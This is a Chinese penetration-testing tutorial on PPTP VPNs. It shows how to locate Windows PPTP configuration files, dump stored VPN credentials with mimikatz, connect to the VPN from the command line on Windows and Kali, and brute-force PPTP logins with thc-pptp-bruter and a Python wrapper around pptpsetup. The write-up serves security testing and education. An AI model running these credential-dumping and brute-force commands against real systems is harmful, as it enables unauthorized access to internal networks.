导语:本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本。
0x00 前言
PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。
在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。
本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本。
0x01 简介
本文将要介绍以下内容:
· Windows系统命令行下PPTP配置信息和口令的获取
· Windows系统命令行开启和关闭VPN连接
· Windows系统连接PPTP的方法和细节
· Kali系统连接PPTP的方法和细节
· PPTP口令爆破的脚本细节
0x02 Windows系统命令行下PPTP配置信息和口令的获取
1、获取PPTP配置信息
Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:
%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk
查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令
VPN连接的名称为VPN Connection,如下图:
PhoneNumber表示连接的服务器IP,如下图:
2、获得内网IP
ipconfig
获得内网IP,如下图
3、获得PPTP口令
使用工具mimiaktz,命令如下:
mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
获得连接用户名和口令,如下图:
4、命令行下连接VPN
rasdial "VPN Connection" zhaodg oZ7iFk25
如下图:
5、命令行关闭VPN连接
rasphone -h "VPN Connection"
0x03 Windows系统PPTP连接的方法和细节
1.如下图所示:
2.如下图所示:
3.如下图所示:
4.选择创建新连接
5.填入服务器IP,选中稍后连接
6.填入用户名口令
7.点击连接后,选择跳过
接下来修改VPN属性,Security->Type of VPN,选择Point to Point Tunneling Protocol(PPTP)
注:创建成功后,指定Point to Point Tunneling Protocol(PPTP)可缩短连接等待的时间
8.连接
0x04 Kali系统PPTP连接的方法和细节
方法1:通过界面
1.安装
apt-get install network-manager-pptp network-manager-pptp-gnome
2.Settings->Network->VPN
3.Identity->Advanced…
去掉PAP,CHAP,EAP
选择Use Point-to-Point encryption(MPPE)
注:如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf
managed=false修改成managed=true
重启系统
方法2:通过pptpsetup
1.连接
pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start
远程IP为192.168.0.1,如下图
2.修改路由表
将默认路由表修改为远程IP
route del default route add default gw 192.168.0.1
0x05 PPTP口令爆破
PPTP服务器默认开放1723端口
1、PPTP brute forcer
源代码:
https://github.com/BlackArch/thc-pptp-bruter
kali默认支持
通过字典爆破的命令如下:
cat wordlist | thc-pptp-bruter -u zhaodg <IP>
如下图
注:PPTP搭建于centos
2、编写python脚本实现
有些设备的PPTP无法使用PPTP brute forcer进行爆破
于是尝试使用python调用pptpsetup实现
通过os.popen执行命令,测试代码如下:
import os def test_vpn(ip,name,password): command = 'pptpsetup --create testvpn --server '+ip+' --username '+name+' --password '+password+' --encrypt --start' print command vpn_status = os.popen(command).read() print vpn_status if __name__ == '__main__': test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')
测试过程中出现bug:
如果登录成功,进程pptp不会退出,导致脚本阻塞,无法获得回显。
只有结束进程pptp后,才能获得回显。
所以这里需要使用子进程的方式实现:子进程执行pptpsetup命令,父进程不等待。
随之产生新的问题:如何获得子进程的结果,判断是否登录成功。
这里选择一个简单直接的方法:等待10秒,然后执行ifconfig,如果登录成功,会产生新的网卡设备ppp0,否则,当前用户名口令错误。
登录成功后,选择清理进程,执行命令:
pkill pptp
清除连接信息:
pptpsetup --delete testvpn
完整代码可参考:
https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py
代码会读取文件wordlist,获得口令字典,对指定IP尝试连接,连接成功后记录口令,清除进程和连接
测试如下图:
0x06 小结
本文介绍了命令行下导出PPTP配置信息和口令的方法,通过命令行能够实现开启和关闭VPN连接。
实例演示了Windows和Kali系统连接PPTP的方法,最后开源了调用pptpsetup实现PPTP口令爆破的脚本,分析脚本实现细节。